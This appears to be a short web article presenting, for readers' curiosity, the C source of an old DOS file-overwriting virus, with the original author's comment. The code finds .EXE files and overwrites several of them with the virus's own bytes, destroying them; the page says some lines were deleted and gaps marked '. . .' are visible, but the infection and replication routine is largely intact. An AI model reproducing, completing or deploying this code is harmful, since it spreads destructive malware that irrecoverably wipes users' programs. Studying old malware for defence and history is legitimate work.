ACTUAL VIRUS PROGRAM

Ever wondered what an actual virus program or virus code looks like? Here is a small virus code written in C language. A virus creator Dark Avenger, or Dav, said in an interview to Sarah Gordon of IBM that he started writing viruses because no one would show him what a real virus looked like. Have a look below and satisfy your curiousity without becoming a virus writer! Parts of the code have been deleted here for everyone's safety!

/* This is a pretty lame program, I would not advise running it on yourself though. It will merely overwrite found files with itself, thus replicating. It is for educational purposes only. Careful, since it overwrites, it is destructive. Infecte files cannot be recovered. I could save time/date stamps, etc. but this was just for fun, and took me only a few mintes to throw together. The Crypt Keeper/RRG (619)/457-1836: The Programmer's Paradise Oh yeah, use the tiny memory model, and make it a .COM file. */ #include <dos.h> #include <dir.h> #include <stdio.h> #define V_SIZE 7424 int n_inf=0; void resume(void); void inf(char *vir, char *filename); int compare(char *d, char *e); void main(int argc, char **argv) {struct ffblk fileinfo; char vir[V_SIZE]; . . . if((fp=fopen(argv[0],"rb"))==NULL) resume(); fread(vir,sizeof(char),V_SIZE,fp); fclose(fp); path[0]='*'; path[1]='.'; path[2]='E'; path[3]='X'; path[4]='E'; path[5]=NULL; if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume(); inf(vir,fileinfo.ff_name); do { if(findnext(&fileinfo)!=0) a=1; else inf(vir,fileinfo.ff_name); if((a==1) || (n_inf>4)) b=1; } while (b!=1); resume(); }void inf(char *vir, char *filename) {FILE *fp; char checkinf[V_SIZE]; if((fp=fopen(filename,"rb+"))==NULL) resume(); fread(checkinf,sizeof(char),V_SIZE,fp); . . . {int a; for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1); return(0); }void resume(void) {exit(0);}